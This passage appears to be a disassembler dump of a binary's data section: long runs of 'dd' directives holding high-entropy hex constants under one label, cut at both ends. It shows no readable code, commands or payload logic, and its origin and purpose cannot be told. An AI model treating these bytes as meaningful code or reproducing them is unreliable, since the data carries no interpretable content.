0D64168FCh, 0A004F83Fh dd 951E828h, 2FE944B1h, 45887E0h, 0B67FB490h, 0B753F803h dd 99F780FAh, 33EF5E9h, 81E5D14Ah, 3A9594B8h, 9E14574Bh dd 6F9E804Dh, 20E95A86h, 8C90FE56h, 895F253Eh, 54E82111h dd 0E368780Eh, 97A9354Bh, 40DDCC4h, 0C289565Eh, 0C2F50EDh dd 0C17C3189h, 0F408E725h, 0AB7234C8h, 0BED638B3h, 0A031523Ch dd 4B64E94Ch, 0F064EEFDh, 50218987h, 0D1305B12h, 72C13C9h dd 0D8CF8FBh, 34DF47E9h, 8661BC2Bh, 20D9A620h, 0BA16149h dd 1EEE6D95h, 622F2F58h, 5C46E1E1h, 0BAD7E16Ch, 0B036FB91h dd 0DF14F92Bh, 0FFFA3709h, 0E8978DECh, 81E23A2Eh, 3A7DD95Eh dd 68833BECh, 43302660h, 5BBD2745h, 7F7A3D58h, 1EFC851Ah dd 0FD49DD56h, 0AFF2EFA2h, 8E815905h, 8801A96Ah, 58E1C8D4h dd 0C8EE7BB0h, 91C560F3h, 0CAED2960h, 489D59D9h, 3E04D90Bh dd 0EF53BF96h, 62E670F1h, 0B20BD8B2h, 4B7FF0E4h, 33FACC09h dd 9203B41h, 350B95CCh, 4EB423C7h, 6FFB353h, 89B64B9Dh dd 0ABC4EB09h, 0DE31058Eh dd 7640A71Eh, 0E9091F3Eh, 173749D3h, 27084B02h, 7BDF5F2Dh dd 0F00D9383h, 0CF508042h, 67890FDh, 96927C99h, 80612609h dd 0B327C1B9h, 12DFF275h, 0B9E112E9h, 98F5F2Dh, 25FFE90Eh dd 0A151B816h, 6B09BD55h, 9AE90181h, 0B313002Bh, 4AEB80D9h dd 18D3F63Eh, 0E3F3E2B4h, 0E66D1329h, 850F0715h, 0F83F266Ah dd 167E0E0Ch, 3E75A801h, 855B1118h, 4C8BF910h, 20CE0466h dd 0D78B582Eh, 98D7311Ch, 0CDE908FAh, 0B0EE84BDh, 95580AE0h dd 0E9628E5Ch, 0BB62483Bh, 392713D3h, 0C606F209h, 4BD3AE85h dd 0E0548D4Ch, 0D82588D0h, 0EB74FC5Bh, 0F91C8AD7h, 0F76F5651h dd 578727ADh, 0B3530C18h, 8851A20Ah, 0CE12E3DDh, 64AB79AFh dd 0EF4B686Eh, 0A54D67BEh, 0A144EF5Eh, 8A1EAFA0h, 0A4140E23h dd 0CCA917EEh, 0B218BB78h, 0D96EF30Eh, 13F0A05Bh, 3BF56Ch dd 0E5A79164h, 0E94E312Ch, 0A0CF2509h, 2F1FE2A7h, 0F06A4AC9h dd 49122C0Fh, 0A702892Ah, 0DDD443E9h, 0F10B8D52h, 981F53h dd 29F8C19Ch, 1D5B6055h, 8D417EE9h, 0EC177640h, 0CD5BB9h dd 0BC685374h, 57092636h, 25B386E9h, 32F2CF0Bh, 68525180h dd 0E51228C1h, 15C25A2Ah, 7759E43Ah, 0B0C55DDEh, 7802BD00h dd 0D5F7355Ch, 20785148h, 0B7C4B021h, 0EE706F78h, 8131F17Dh dd 68B81A0Fh, 27416DC4h, 25714429h, 28646127h, 0D6777606h dd 5001E67Fh, 172F5468h, 0BD9581Dh, 0B9FB303Bh, 0F1F0474h dd 278B912Dh, 0CA391A03h, 5E6358BBh, 4FB0E312h, 68839CFCh dd 0FF840C1Ch, 4179B8B3h, 0A73CA0C5h, 0ACA4A100h, 59CE0912h dd 1D680557h, 770F45Ch, 0E1D2C6C5h, 6C290F52h, 0FD084187h dd 24208146h, 0E91956B8h, 0ED6EDED1h, 88BED3C6h, 969E9DBh dd 9A145525h, 0D6820771h, 0B2310965h, 0D9603BFDh, 0A63AC218h dd 45BE4BB3h, 27F6EF81h, 47EA952Dh, 52A26899h, 60FF4C1Eh dd 90B636Fh, 0EBE92D83h, 5077458h, 75EC1034h, 985ACBA2h dd 1FF0B1C2h, 5659CF88h, 5C1682C7h, 7B98B2C3h, 0F8C96167h dd 34FCDBF4h, 0A2F2C23Ah, 0CCDA1877h, 302D813Fh, 305CFC90h dd 70528F1h, 16AD594Bh, 0EDD42084h, 8B69648h, 3A50475Dh dd 739326h, 0F21839B9h, 0E92F4901h, 0B0EA6BA5h, 2482F9FCh dd 124A5173h, 4A32BC22h, 0FFD222A8h, 60BFDA52h, 0BF51E97Fh dd 286FD0A8h, 854FB2F0h, 84191E28h, 0D5AC312Dh, 3225EF9Ch dd 0C4A17996h, 902FC04Fh, 64F9948h, 17345E9h, 0FD5D1FB6h dd 6FFB58E9h, 0EDB20F77h, 0BBE25697h, 1A84FCAh, 0FAAB09B6h dd 2C80E37Bh, 66F828ABh, 9B09852h, 30B0B61Bh, 0A1B80182h dd 263497F7h, 65A31203h, 5AA4ACBEh, 5429CEF6h, 0B842C282h dd 34605305h, 0B77DC268h, 26B7C6C5h, 8650171h, 1396946Fh dd 6A7C2D08h, 52EDCE44h, 0E7E1C007h, 50A63380h, 7FF4AAE1h dd 5ADD16A5h, 16521634h, 988DFB2h, 78C25CCFh, 214318D5h dd 0AF0EB1A7h, 5412A959h, 0B3F87C21h, 57EEB850h, 2B922710h dd 0E5801970h, 75E038D4h, 1FFD012Ch, 0E9160820h, 0DBD18ADFh dd 0A261089Ah, 3035BC7Bh, 0F60798C1h, 4B27B8D2h, 796B37Eh dd 34ED0ADCh, 73A63CD2h, 23EA6FFh, 6EDD2627h, 64688E40h dd 1549B424h, 3F15D903h, 54C9B07Ah, 659F265Bh, 0F6D008Bh dd 0CA292BF5h, 0F86B7E9Fh, 0C260E6E9h, 1510CA6Dh, 0F47176C8h dd 0A0122C64h, 23F525EDh, 39E9F46h, 267AB92Ch, 0CBD778F6h dd 96954BD8h, 2419E8Fh, 3451643Bh, 9BC976E0h, 0A0CBAE28h dd 2A27743Dh, 0ED50A802h, 23AE5F08h, 0B80AE916h, 82AB7653h dd 4FDD5AC6h, 10BB24A5h, 6F074E27h, 0CFA2C329h, 6A3E54B3h dd 24C05A71h, 45C4606Ah, 41022D69h, 0CC40C183h, 47BDB610h dd 37680727h, 5D306252h, 0C725C600h, 0E720FFDCh, 7FA947Bh dd 37DF2966h, 0ACD5B45Bh, 0A9552C6Ch, 7710D700h, 540586Fh dd 0B1EF522Dh, 1728B81Fh, 0CBFE5C1h, 0D65C4D37h, 0AD599110h dd 0B326234Ch, 0C9FE82FFh, 0EB82B753h, 0C0F75BF9h, 2D862C7Bh dd 0C3C262E9h, 9074D357h, 4C5824A9h, 656D4E40h, 89FFBC67h dd 99D252E9h, 0C382EB0Ah, 0DF0B875Ch, 8BD8DE5Bh, 7854168Eh dd 221164Ch, 0C1434130h, 7A7706EBh, 14BD0159h, 97E92616h dd 60E22EB9h, 0EBE39593h, 4CDB75CDh, 363E68A5h, 0B366EF5Ah dd 5477B00Dh, 55085BBh, 3E65F2B8h, 0E8C7BA61h, 0D43735E2h dd 537D6061h, 525978FDh, 0D2F71DCDh, 0C418E99Fh, 2844E1EFh dd 3EBBAC4Eh, 4397A4C9h, 253B817h, 2975690Fh, 0B0600EF1h dd 0E9E4DD31h, 0F6AC702Dh, 0B1DAC5ACh, 9B9D7A15h, 10E6ED7Bh dd 8460A8F5h, 0F281EAD1h, 3840850Bh, 73E2554Ah, 0E41275C3h dd 8CBBEF9Fh, 0D45B5ECCh, 200531F3h, 0DC58153Eh, 11409044h dd 1B596A52h, 48471042h, 0EBFF16ADh, 375132BAh, 914BACD0h dd 52E020BBh, 931E1BAh, 3543B8B7h, 0D6885D6Eh, 0C224FE11h dd 2D68EEF4h, 0E97B50C4h, 3CEC0D00h, 1433E581h, 0B149D669h dd 3267ED03h, 0C013A4Ch, 479959A4h, 7F74E9h, 1AD2BAE8h dd 0C3970D58h, 848A3CEEh, 1052C93h, 3304B691h, 70CBFD6Dh dd 0A3B6E8CDh, 0C5C631C2h, 0B9D62F89h, 209180CFh, 48015810h dd 84177F3h, 447B8C39h, 5B0ADD93h, 6E075A68h, 10268198h dd 0A8705F39h, 7F128EFh, 381DD4A0h, 0D06B0581h, 0F5685EA8h dd 0D2324A4Bh, 383AFECDh, 987DF82Fh, 0CC0D0C8Ch, 0A4F05A2Ah dd 7E286816h, 0A3378BECh, 5948520Fh, 2EA68776h, 0BB001610h dd 3EC03A81h, 0E6B5EBD1h, 0DBF70405h, 0E8228368h, 9AFD005h dd 2C0059Ah, 76EA1E8Ah, 14C8C04h, 6E13CC53h, 9F846B7h dd 4F929910h, 414DDEB4h, 0EC494027h, 5D60EA26h, 0BE041C0Ch dd 0B79E92BAh, 4401B6F2h, 0E91D8E67h, 0CD6E7BEEh, 0BB79E440h dd 591A7C97h, 577F2154h, 0EF584B88h, 0C51EF61Dh, 9A96927Eh dd 9F95BC54h, 0C2B7C16Ah, 0C677776h, 4DCCB516h, 0A72735E9h dd 2B920460h, 834FBE80h, 7322C54Eh, 0C1568B93h, 0E07A3B89h dd 76000F60h, 0C8E7815Ch, 9046E842h, 280B0D8Ah, 0D00C0D7Bh dd 7E505812h, 305F6DEh, 0F9293A10h, 4E088610h, 0D1B06FF8h dd 9BF58E9h, 34327D7Fh, 208BE8DEh, 2CB35FC8h, 25EAAED1h dd 0D47130FEh, 0FC0E6B3Ah, 4A13C020h, 6EFED001h, 6042ED0Fh dd 97E2EB50h, 7786B8C8h, 44E2A0ABh, 0BD035F50h, 2A0B790Eh dd 0E9CBDD31h, 0E8CF2116h, 87AFD232h, 5345B0A5h, 0E91477F0h dd 27322CBFh, 5A51D099h, 0A011B88Fh, 94271BAh, 0D0290711h dd 780B70B9h, 39BA5AA8h, 78BD3A87h, 51A63E10h, 0C35C6055h dd 7CEFCE0Bh, 0D1897F1Bh, 0FE01F661h, 7CE967B8h, 8252FE5Eh dd 0AA0857AFh, 0BEEBF804h, 0B9E31712h, 918126B9h, 7EEC184h dd 0D54EA7AAh, 1E26183Ah, 131DF665h, 0BE47AE32h, 8FFA9904h dd 9D3C0B9h, 0BE45415Ah, 40F49CBEh, 0B2A7792Dh, 965DD6DAh dd 848AAC37h, 0A5F495BFh, 54A5A242h, 0FAA46244h, 135365D7h dd 0BAF6C1FBh, 7B8EC046h, 89978FF4h, 8CF08885h, 0E66CD42Dh dd 709F5B75h, 1EA40B73h, 0FF5C2651h, 0E91208A0h, 99D0667Ah dd 9BBF0C7h, 0F901E7BFh, 0C0654D82h, 6C75410Fh, 268002CDh dd 165E9E1Ch, 0E92FFA09h, 82A1D568h, 9A23C4FDh, 0EFA13580h dd 14F72D2Bh, 0B610953Fh, 0C0C16207h, 7A6393C7h, 4266F03Ah dd 0D548C082h, 79072D59h, 0A222EF5Ch, 20D2B4B5h, 5D982097h dd 9D57CA20h, 58038450h, 0FEADB551h, 0E1CD92C5h, 104ECBCh dd 0BE4A5C9Eh, 3B06ED3Dh dword_4F1348 dd 0CD66DC0Ah, 2830A548h, 1679A368h, 0AE5D4C7Ch, 5F92AE80h dd 60745CBEh, 90D7D22Fh, 0C4A42375h, 0BB080448h, 0FA152CB3h dd 4B04B8A3h, 80380265h, 0E81891EBh, 78201BB0h, 2561BCD4h dd 39617C40h, 0D21EA325h, 495E20D4h, 0EDA8724h, 0CFFB2C45h dd 933A502Dh, 6F62509Eh, 0DE6C0BE8h, 55146826h, 782EE989h dd 0AB585FCAh, 0E76FE339h, 0ED05FBEh, 974A55E9h, 0B501D6FBh dd 6DB6526Ah, 92F859FCh, 0B9798A9h, 12384EF3h, 2D056ED4h dd 0E214444Ch, 16812F9Ch, 4A95FA3Ah, 0C00E9E6h, 0ACFFEE5h dd 0E0B6D276h, 0D6BF294Eh, 81C2523Eh, 28DDCAC1h, 5653C105h dd 0F72F5E54h, 5A079539h, 0BBA486ECh, 0B6BBE995h, 0D901168Bh dd 89824EA2h, 0DD6159CEh, 0E569819Ah, 29776F41h, 0EE05F5D8h dd 0B017713h, 0A884E9EBh, 65130E8h, 0E2073181h, 0A2D53732h dd 8E856F7h, 29C60293h, 80502289h, 740E0B0h, 73760CBDh dd 0DC683CAFh, 7B7D1C14h, 773700E2h, 35481D6Bh, 807E0022h dd 0B160D1Fh, 439869DCh, 0D0BB9440h, 0BA2AC1C5h, 0AD5B4ACEh dd 72C0C580h, 16C03CA8h, 567E071Dh, 489D34BAh, 9D6BE9C8h dd 0EF86DD81h, 42B6C980h, 45D7D9A7h, 0F4A01609h, 5560FD7Fh dd 0C03F449h, 0BDCAA05h, 5A445407h, 13F672DDh, 0F8516EE9h dd 8BFBB526h, 0B0F21871h, 5A66C825h, 53C96059h, 89449E9h dd 0D226D627h, 0A2BF9AFAh, 3143CCC3h, 4E722C64h, 70D138EAh dd 71AFD84Fh, 38A1B52Bh, 60AEE4A8h, 0BD1551B9h, 0D7E9100Ch dd 78ECEFB5h, 5E422E02h, 95F54249h, 0D8AF5705h, 54003437h dd 0B8BF0DB1h, 2F0AE11Ch, 0BEA9EF81h, 0BBF3FF05h, 60DA6A8Ch dd 0C4EE9702h, 215B0427h, 4C30D887h, 9BFE2975h, 0B1443226h dd 0D7870B5Dh, 68135464h, 3BF365F4h, 0C83F3500h, 0F896E920h dd 57E9F0B4h, 0BA4AA140h, 0E27C5081h, 0BB9FDFB1h, 7A05729Fh dd 0E1D1442Ah, 0E021E409h, 97585B34h, 303E40D0h, 0BF7F2AF9h dd 0C76924C4h, 9C68AC01h, 0B2DB4C63h, 4F3AF09Fh, 109CACC2h dd 680A9838h, 8DE44F7Dh, 80B9D1A7h, 94CCA8Eh, 0A005585Ah dd 5617E906h, 5D25D2BDh, 3E2DF961h, 43FCCF5h, 17A72815h dd 1BB6E935h, 0A63FF57Dh, 2CEF9271h, 58B750A2h, 6285B15Dh dd 0B70201D0h, 11C057AAh, 7667CF80h, 0F1637AF2h, 0E992876Bh dd 3A14FCD3h, 684F29B0h, 49C63CE7h, 48B5349h, 0A7C26C6h dd 5784AB4Bh, 0C2E670C3h, 7D56E04Ah, 0E81CBD3Ch, 7E6C105h dd 48C2C631h, 6F997FD8h, 0B3006A03h, 0E72653BFh, 949B077h dd 3B991387h, 1FE65DDh, 63FED1F7h, 0CAF02B64h, 9F7C2Dh dd 0BD552C82h, 8E7781Bh, 857754B7h, 0AAA80FE9h, 5F7957F2h dd 2288A513h, 0D8954B30h, 0FA2B16EAh, 95BAA588h, 775ACFDCh dd 0E0932679h, 54A62852h, 0B26F285Fh, 8B48203h, 825AD428h dd 0DF71E2E1h, 3B9FD2C1h, 12438B2h, 0A5741F49h, 5C169FD9h dd 1EB5AFF4h, 10462C71h, 699D016Ch, 5C015597h, 4138D7Eh dd 0E9E1FB0Ch, 9A36E92Fh, 0C49284D4h, 0B93F1FF5h, 0D4D6DFBFh dd 0E6C00D40h, 5BEE8005h, 0E18F818Eh, 9E6D2EE2h, 4ABE240Ch dd 0BD2CFAE3h, 4AD224F7h, 1DB70328h, 0B42435FFh, 0C1960E5Fh dd 40EF38F0h, 313C5D9Ah, 80F827C5h, 462DBEC0h, 290D17E1h dd 48B5BCF7h, 1E96251Ch, 0EB810063h, 528A23D9h, 1D90C329h dd 0E749E17h, 185501AAh, 8023850Fh, 1360EC0Ch, 0ABD1E929h dd 0CAAF9DC7h, 0D5257F28h, 42807CB1h, 165BF8BFh, 3B1EB0A4h dd 9EF76ECAh, 0BB23DC2Fh, 4C190D03h, 85E70118h, 50816C1h dd 0C8102D20h, 0EFECA96Dh, 3F26617Bh, 6880FE25h, 41B47BE1h dd 49C17F5Fh, 4B12A108h, 10EA1CBEh, 6EB24FC3h, 3D632610h dd 0A21904B9h, 0C6C8414Dh, 7BF141C3h, 0FC8AD31Ch, 0E958D85Bh dd 0CCCE5FAAh, 0E41696Ch, 0E33A047Eh, 876E1999h, 0F6800EAh dd 154E364Ch, 351F6EC0h, 89012D1Ch, 0B70C2AA0h, 0E9251DE0h dd 96D8F09h, 4D400592h, 81C25F2h, 3BC9CBDCh, 448B69FFh dd 56360C49h, 0C5CAE917h, 0EBDAD44h, 201C5DEBh, 0E9DA89B4h dd 0B51A4C6Fh, 0F45166A1h, 449574A9h, 4041F0D5h, 0A398BA0Bh dd 7434B627h, 1C700CF4h, 9319C343h, 6B78A81Bh, 288217A0h dd 962CB965h, 59E1000h, 0B050C328h, 1CEF5185h, 9A510E5h dd 55390868h, 4DF79092h, 4D4F1AE4h, 6F868D40h, 313E690Fh dd 0D03AA9FDh, 78F99073h, 83895E87h, 0EEF080D8h, 775C045Ah dd 0B7206E92h, 44D99F84h, 74D3A242h, 609F6F9Ch, 80CCB84Ch dd 3081D801h, 13D10915h, 625758F8h, 745574Bh, 53B354C4h dd 250104D2h, 0C31EE11h, 896F057Ah, 63E86B81h, 56820CACh dd 4D13019Bh, 6E5F1C52h, 0E909E8F8h, 43D408FEh, 489F9EC3h dd 5D10C23Dh, 6DBA4A63h, 56EF3C60h, 74924FF7h, 27B5545Fh dd 5E25BADDh, 0C6DE27D8h, 40E9EEC0h, 91D91D5h, 0A3518A2Fh dd 949FDA4h, 1A5355B9h, 762A4AEBh, 53E9D861h, 0D07F7467h dd 0EC0F1DD0h, 0BE5A4F7Bh, 3F682370h, 9EE5976Ah, 894D8F10h dd 0FADFB3C5h, 50683DDCh, 955B1002h, 0C25F7984h, 5157BD1Fh dd 6ED82762h, 0F9283E09h, 82435A5Eh, 59E7FC08h, 89B8341Dh dd 0DC605681h, 0B9C9991h, 7B8BABBEh, 0A024E55Dh, 13EF01EAh dd 22E94432h, 77A22A9Fh, 0CDA8FA8Ch, 3905B740h, 172C40FDh dd 96C51C7Ah, 0DAA4E2EFh, 92DB55CEh, 0CFDDE961h, 44DFF924h dd 0EA91F545h, 1523EA02h, 610C412Dh, 0FD7ABF25h, 0EAFEB12Eh dd 1EA45189h, 5E58A544h, 0C1BD3827h, 41427020h, 0B7B54125h dd 7942AF5h, 199CC4C0h, 0BE2D18C9h, 0CE310B98h, 5EAB41BDh dd 0F4D3AA62h, 445AC174h, 317ABCB6h, 5D9D7B52h, 49FA485Eh dd 5949E295h, 22C4EADFh, 322D38E1h, 0BF49E416h, 8B9A8B8Ah dd 1275F783h, 0F924B24h, 0BC46EB8h, 0CBE2D4F0h, 681798D8h dd 0A6E2400Eh, 0CF805D03h, 0D099FEF6h, 0B6CF70EFh, 0DE716681h dd 28B11438h, 68D030CBh, 1A586B2Fh, 0C4A455ACh, 5B15C201h dd 0BE5800D6h, 6D4A06DDh, 0BD9BD62h, 0C171E918h, 1685BA76h dd 0AA489279h, 5512514h, 62812B19h, 1E6680AEh, 0D9BD3A63h dd 756A0220h, 88004994h, 0EC166079h, 3610CF3h, 230C5BD4h dd 0F487AE8h, 4B7B00DFh, 1C0567A6h, 60522E69h, 7DC13865h dd 232D79E7h, 8985D364h, 9CF565E6h, 0DF8E9D5Bh, 1073BC73h dd 5D276B17h, 0A345A45Dh, 441D8188h, 0B4534A39h, 0BA521F8Ch dd 5A9B1587h, 0A51674E5h, 2F2869FAh, 5CE27BECh, 7C04F282h dd 0B0B6120Ch, 0E9F01C28h, 59E6B093h, 302C90B2h, 80582CE2h dd 0F6FF17C2h, 111EAED2h, 6A9F50Ch, 96E92ACDh, 9FBF04F8h dd 0EB763E41h, 0E2104E90h, 89BC166Dh, 0E97772F9h, 0F2AA9075h dd 0E87BE1C3h, 5716A4CFh, 6165561Ah, 0C2E1EDE1h, 5B2DE86Fh dd 0D2D37827h, 590A30D8h, 808F0262h, 8031AE2Eh, 1A4AF628h dd 7098AC84h, 5CF780FBh, 0C3803BC3h, 61F885BBh, 21585B75h dd 6BC583D2h, 7A770A0Bh, 810B5EA0h, 0C9F7312Ch, 56089EFEh dd 4089246Eh, 302224D7h, 0B6F0BE8Dh, 5B9A9592h, 3C8EA960h dd 812A3700h, 0D54BE6CEh, 4E462676h, 7FEA004Bh, 77E97EF7h dd 0B089BB5Bh, 80011042h, 2AE9D166h, 3798B7B8h, 10B7988Dh dd 0BA096893h, 0B7CBFAFBh, 0DDF72C02h, 488D341h, 0B48DF100h dd 7DEC30EFh, 9E0F7659h, 6802825Bh, 8151225Ah, 81813998h dd 7FEB0AF6h, 98D0FFFh, 1C77DB05h, 978D9A00h, 5452D2B0h dd 0A0A7BEC8h, 0F457F6DAh dd 601B54Eh, 9604712Ch, 0C6427A86h, 756CB168h, 2A397E99h dd 0E0298A0Bh, 0B783B115h, 96807012h, 1D116D44h, 0E9650B7h dd 0D104E7C1h, 0B55A1072h, 4E634305h, 74FB869h, 4DF31298h dd 71CE160h, 2E1548B4h, 7DB76B01h, 0DCCF31ACh, 22BE729Ch dd 0CF9F8154h, 94EF2981h, 2F7A9C2Dh, 5F236B0h, 47070918h dd 56EA0B4Fh, 0AB04CE84h, 0FD890BC1h, 0BC781F3Fh, 0E954C293h dd 6E084149h, 3EF20635h, 7187E982h, 1C648A5Eh, 9B813FECh dd 6008CF4Eh, 0BF808CB4h, 6A41000Bh, 93F7811Ah, 86EF4A09h dd 0C23D3F52h, 3CD225CCh, 32F90620h, 0A2C3773Bh, 9DABD39Dh dd 0E90402FBh, 937FEE38h, 8ED4F590h, 0BE9BD2BEh, 562555F8h dd 303DE5Ah, 2C8E3EDFh, 3AC347F1h, 0EC487EA3h, 5114910Eh dd 0EC78520Dh, 5F02A608h, 55E9F289h, 0D50B481Fh, 0E9739F2Bh dd 2563D44Bh, 331799FDh, 3127007Ch, 0E13C817Fh, 0D07AA153h dd 3C370250h, 0F210CC1h, 0A86A79E6h, 0A0084126h, 1E98140Ch dd 8F51BC5Ch, 86969E69h, 4BFADF0Eh, 469BD4D5h, 0BF07291Ah dd 74FC5127h, 0C8F24CA2h, 2E698FFFh, 5ADD03DBh, 52506CEEh dd 0ADF04D8Fh, 169E1751h, 0A890E6E5h, 0F7023AB6h, 5D31C019h dd 673A88E8h, 0E92CA690h, 0CA42D283h, 0A8015159h, 2C53F211h dd 20B05AE2h, 0E90880D2h, 0BA37546Dh, 670912C8h, 0D0570A47h dd 905F3C70h, 0C5FCBBBh, 0A528AB3Dh, 80E5C2DFh, 399514B8h dd 76055C16h, 0E8911696h, 12625A39h, 4B93D958h, 867A52D6h dd 9F10DA2Fh, 0D87DD2ECh, 4B6B7938h, 7B1E3DFFh, 64480AB2h dd 0D95CB94Fh, 0C73DA5F4h, 3018F53Ch, 59CD939Eh, 8BADDE9Fh dd 0B1712104h, 0DDB75380h, 2F5E780h, 0D5F6EF86h, 4AF0D6E9h dd 0BED85F5Bh, 0EFFC5BEFh, 1B81725h, 1296D384h, 73F8E956h dd 0CD92E24Eh, 0D03E89B1h, 7C19F6C4h, 0BC3F5528h, 744A9227h dd 0C3C101F3h, 2B1A1512h, 510BE3F9h, 1C05EE9h, 0E5B7FE88h dd 0D1479655h, 2F5EF2C1h, 36C2B591h, 2563D220h, 5B72A0E9h dd 0A5B8E24Ah, 22D12FADh, 0E72B1C77h, 6B35123Ah, 0A4AE6CEEh dd 7F0862BDh, 0F2CA08D1h, 489CB315h, 0EB83174Dh, 4A09CABBh dd 450E1F4h, 31E912B4h, 2F60FF2Bh, 4C6A7006h, 5F49ABF8h dd 6F31F14Eh, 53811FADh, 2831BB68h, 11FC920Fh, 5970522Dh dd 6CD8F44Bh, 0CC0E4BD2h, 0A256888h, 0CBD0D66Ch, 537D04h dd 805BDD28h, 88D917C5h, 0DE5D1CEBh, 41F341BAh, 2DD53DE9h dd 2CBE05E7h, 3C8108AAh, 0B0CDC524h, 8F25166Ch, 2F5C1941h dd 54C926E3h, 8008BBD4h, 17E620A3h, 0CC775068h, 756AAA56h dd 0DE3F1D49h, 79AE3F84h, 0C65E2827h, 17B12BE9h, 4E32059h dd 0AE483BBBh, 0CD5E3CDAh, 0FDE4822Bh, 60B5C46h, 0E09D0DF9h dd 80E7CFE4h, 0D100D8F7h, 3B342DE8h, 0B0017EFCh, 0EF1D3244h dd 0C6C0DF21h, 283B1138h, 13CF0171h, 4F032150h, 0FAE4588Fh dd 8BC20E49h, 4265F682h, 7794DF09h, 46A96812h, 403284CCh dd 557256CAh, 27306809h, 9A38F53h, 0E1349AA5h, 1D2F1B56h dd 0A50D295h, 0ADE7A3FAh, 3C9C125Eh, 0F82FCCE8h, 8C8498E8h dd 64BC050Eh, 356DDC68h, 0E9B461D2h, 650D7C46h, 7E90076Ah dd 10F2EB8h, 1F056223h, 46AF66F9h, 0BBB09791h, 0BF29CD40h dd 52E2A040h, 5D77EC1Fh, 0F2E0FF96h, 0C1567E5Bh, 2F0F5030h dd 0F270707Eh, 0F96107A2h, 0D36024DCh, 0C33D80FCh, 4FE5984Ch dd 0FAE1BA16h, 0F72713B7h, 5A1FFADAh, 0F2092FFBh, 3B7A3CB8h dd 0E471598h, 2B2F510Ah, 7E898905h, 95E967C5h, 164E90DEh dd 627A9C4Bh, 4E034A38h, 3F7829EEh, 68AE60C4h, 0E3C4C9DDh dd 1BA870E9h, 5EC7BF00h, 68B91C30h, 248ED809h, 58BAD429h dd 5848C131h, 0E1F87936h, 704D0F01h, 1F56680Ch, 67C18338h dd 3007760Ah, 0D09C8D1h, 80811C6Bh, 5C4C2FE6h, 0D00B741h dd 5637D817h, 9174E9Eh, 0ABEC52BFh, 77993701h, 0EE30FC8Bh dd 7ECDF443h, 0D15F3836h, 0D928FE4Fh, 13BB949Eh, 68720221h dd 0AB51503Eh, 27EAE188h, 0D4ADB15Dh, 0BB4AD3Fh, 8035F072h dd 0D92CFE91h, 0FFAB03Eh, 1B492FCCh, 436AF380h, 5D957BD7h dd 17A3CC80h, 1CC03D85h, 7CD63F5h, 0D0D95E29h, 0B980C1ACh dd 80CF8D28h, 7CAFE64Ah, 36C15CFBh, 66CD6CCFh, 5C8E942h dd 0F5C4AE5Bh, 3D408E00h, 0E2454EA4h, 7ED0BC1h, 80DDC583h dd 27156C29h, 0CD82B73Dh, 0AA09E725h, 0F64305B1h, 80041FD6h dd 16F3E6EEh, 0DE4D01B3h, 6EB29DE9h, 0AA133BCEh, 0F14D90CCh dd 0B0B01E4Ah, 7D59EBF8h, 0A8AAB46Bh, 9DEDC043h, 2E0C321Dh dd 226CD501h, 44DD5C08h, 0AF9AD725h, 0A608687Fh, 1E280439h dd 8502D9B9h, 76D2EEC6h, 2D41D496h, 0E913971Eh, 38EF7B8Ah dd 0FE26688Bh, 2BCE704Bh, 0DEDF6802h, 3CC3DF83h, 0BA192F34h dd 7D2A4431h, 5AC45438h, 0D1F7054Fh, 0BD5B27E0h, 0BD82B1F6h dd 403FF94Dh, 2FC29016h, 9C70840Dh, 73889C70h, 5BCE1340h dd 0E7C9AB4Fh, 134AE320h, 2520714h, 0AF151FEFh, 0C4F7C480h dd 1026E277h, 0F1921F01h, 62CEAE00h, 985E48E5h, 0A3A45DB0h dd 738FB877h, 0DE72BF59h, 201EC495h, 0BB04DFD5h, 1AE72088h dd 1750E4FEh, 0E986561Eh, 54163875h, 0F85F50C8h, 20E15BD6h dd 7FF3B9E0h, 0AD691D3Eh, 0F78742A9h, 68C25BF1h, 419EAB7h dd 1E12AEBEh, 904E92C6h, 2009337Dh, 0FA30747Bh, 68504EABh dd 572C00ADh, 322D580Ch, 0F02336Ch, 56AE335h, 0E994C147h dd 0EDE964FAh, 0B8BEE8EEh, 0AB7F12DBh, 5717E06Eh, 879A7DFCh dd 0E3BB660Fh, 297E291Ah, 0CA34F59Ch, 660A8EA0h, 15FE676h dd 81DA2C4h, 3553D857h, 0EB00A9DDh, 4B0D4ED0h, 2714A847h dd 0D512C2DCh, 3B3A464Fh, 0DCFD25D7h, 7C3F02E7h, 40577B4Eh dd 0CE58143h, 4DC0F5Ah, 4F19081Eh, 0EC9224BAh, 0C56F65C5h dd 0D1C5FBD2h, 4E17CABFh, 6A0438B8h, 5476712h, 580001EAh dd 0F057ABF2h, 24FB9629h, 534E0340h, 0A8D46DE7h, 25894CEAh dd 0C648F183h, 76F65E57h, 5A1A3916h, 2A799EACh, 20FC3287h dd 0D1F4755Fh, 0CFCC565Fh, 0A64E3AAEh, 0B3A9CAh, 7DB3F6C3h dd 4199E9FBh, 16BA3872h, 0E9ACBC6Bh, 97D6E5C9h, 5FE93B29h dd 2FE221A3h, 25507B13h, 49AA6235h, 45557232h, 0D47EA737h dd 3321E961h, 1666EE48h, 0FA0D206Ah, 80B3AC4h, 5AA2D658h dd 67759E62h, 66320BCBh, 0D2E509D6h, 340847EBh, 0AAD2DF90h dd 0E479EF2Dh, 0C8DCBF84h, 73EF2E68h, 34AE5BB3h, 0AA8EEB0Fh dd 0C822FE5Bh, 24C7720Ah, 89B5E58h, 3012FBDEh, 0AF4AA3F8h dd 70339129h, 35686681h, 0F4A5D258h, 0E4B605B5h, 0E5864954h dd 396F30F5h, 2746B579h, 55B0CB72h, 1290F94Ah, 3D43BBC1h dd 9596116Dh, 0C4E6B810h, 19148A8Eh, 9CDA8F25h, 3D3094A0h dd 504CFB27h, 0F1E78291h, 353151F8h, 0A3F6AC93h, 0CA25335h dd 0A3358B9Fh, 84A72EF4h, 0ABBC9422h, 72B418A1h, 0C0C99ED8h dd 0C4A6443Ah, 1A0D43Eh, 0F488C6FEh, 0C42B20E5h, 34F2BFD7h dd 9BC5D3C6h, 6309F306h, 72DC304Fh, 5B90C1DEh, 660ECE68h dd 0C4B01B5Fh, 0F8B6B253h, 6B681296h, 5061CC41h, 0F6DDDB8h dd 41EE12EDh, 0FCEE1EE8h, 10F560A7h, 0EB9E722Ah, 0BA436F03h dd 0DBEE901Bh, 0E9392D08h, 2984D8DEh, 0F2BE5DEBh, 9560E632h dd 39C06271h, 1265A841h, 0CEC157E9h, 73A85F69h, 118E91C4h dd 34174CFAh, 0A01610BEh, 0AF7585BEh, 4FE36838h, 2628CC1Eh dd 38450D52h, 6648747h dd 7A867E9h, 30D9F791h, 6A6CE635h, 92091375h, 801B246Dh dd 0EAED16A9h, 0EBD8959Ch, 58BF571Fh, 